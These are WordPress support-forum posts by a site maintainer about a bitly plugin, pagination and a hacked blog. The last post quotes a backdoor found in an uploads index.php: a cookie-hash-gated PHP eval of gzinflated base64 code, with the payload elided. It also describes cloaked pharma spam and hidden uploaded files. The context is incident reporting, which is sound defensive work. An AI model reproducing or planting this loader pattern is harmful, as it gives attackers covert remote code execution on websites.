freejoe76

You can find those in your wp-admin/options-general.php?page=bitly-settings

…

The plugin page says it’s “Compatible up to: 3.6.1” … I’m working against that as well.

Hi,

I’m up against this problem as well, on an older version of the plugin. I’m looking into writing the sql statements to a flat file, put that flat file in a queue and tackle them in the order they came in outside of the realm of a single php script executing, which has its limitations.

That said, we’ve found success doing a few blogs at a time.

Out of curiosity, what version of the plugin are y’all using?

-Joe

Wow Silviu-Cristian, that was a fast response.

In search.php (which is called in the example above), one of the four places wp_pagenavi()’s called, there are no instances of query_posts() or new WP_Query().

-Joe

After more sleuthing, it looks like this hack was related to this file that had been created the minute that the hack occurred: ./wp-content/uploads/index.php

That file contained this code:

<?php
if ( md5($_COOKIE['_wp_debug']) == '85bd6d00132126add83065d3dbed6c99' ) {
$login = ""; //Login
$pass = "";  //Pass
$md5_pass = ""; //If no pass then hash
eval(gzinflate(base64_decode('LOTS-OF-ENCODED-STRINGS-THAT-WHEN-DECODED-RESULT-IN-MORE-ENCODED-STRINGS')));
exit;
}
?>

I found this on a blog I’m responsible for — requests to the web site made from the Google user agent returned pages with title tags, titles and body text laden with Viagra and other sex-drug references.

More than 100 hidden files had been uploaded to wp-content/uploads/js_cache/ — these files had names that looked like .%D1BB%C5BD%10E2%888E%C77C%B96F

Removing those files (from the shell I used rm -fr .%*) fixed the problem.

I’m looking into how those files got there in the first place.

-Joe